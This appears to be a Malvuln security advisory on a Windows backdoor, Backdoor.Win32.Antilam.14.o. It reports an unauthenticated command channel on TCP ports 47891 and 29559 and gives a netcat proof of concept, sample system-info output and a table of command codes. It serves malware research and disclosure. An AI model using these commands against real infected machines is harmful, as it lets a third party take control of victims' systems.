Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/3f3ee9dce39e816b4001bd6ae66e8f1a.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Antilam.14.o
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP ports 47891 and 29559. Third party attackers who can reach infected systems can execute commands made available by the backdoor. Netcat utility worked the best for running commands, which are supplied as numeric values or hex characters. The values sent correspond to different commands mapped in the backdoor. Example, to get the date/time we can enter 015 or the hex value 0xF.
Type: PE32
MD5: 3f3ee9dce39e816b4001bd6ae66e8f1a
Vuln ID: MVID-2021-0121
Dropped files: scandisk.exe 
Disclosure: 03/06/2021

Exploit/PoC:
nc64.exe x.x.x.x 47891

001 + Enter (Gets system info)

001╧α∩Ωα Windows: C:\WINDOWS                                                                                           
╧α∩Ωα System:                                                                                                           
╧α∩Ωα Temp: C:\Users\victim\AppData\Local\Temp\                                                                            
┬σ≡±ΦWindows: Windows NT 6.2 9200                                                                                       
╠Φφ≤≥ Γ Windows: 15                                                                                                     
╚∞Ωε∞∩α: DESKTOP-3A2IQHO                                                                                                
╚∞■τσ≡α: victim                                                                                                            
▀τ√Ω Windows: English (United States)                                                                                   
╨ατ≡σ°σφΦσ: 1554x840                                                                                                    
NumLock: Off                                                                                                            
CapsLock: 
ScrollLock: Off                                                                                                         
≡εΦπ≡√ΓαφΦσ τΓ≤Ωα: ─α                                                                                                  
╤ΓεßεΣφεσ ∞σ±≥ε φα ΣΦ±Ωσ: 2,554,454,016                                                                                 
╒ε±≥: DESKTOP-3A2IQHO                                                                                                   
╩δΦσφ≥εΓ ∩εΣΩδ■≈σφε: 7   

Other commands:

004 TaskBar
007 Monitor
008 Ctrl+Alt+Del
009 ScrollLock
010 or 0xA (HEX) CapsLock
011 NumLock
012 CD-ROM
015 or 0xF(HEX) Get Date/Time
018 Mouse has been unlocked
022 Shell Experience HostCommand Prompt Promptrator) 
029 lists current dir malware is running from
033 (logout the remote system)
082 exit netcat session
111 lists file C:\Users\victim\AppData\Local\Temp\scrsm.src
115 starts packman animation that eats the screen 
116 stops packman animation
120 Web browser

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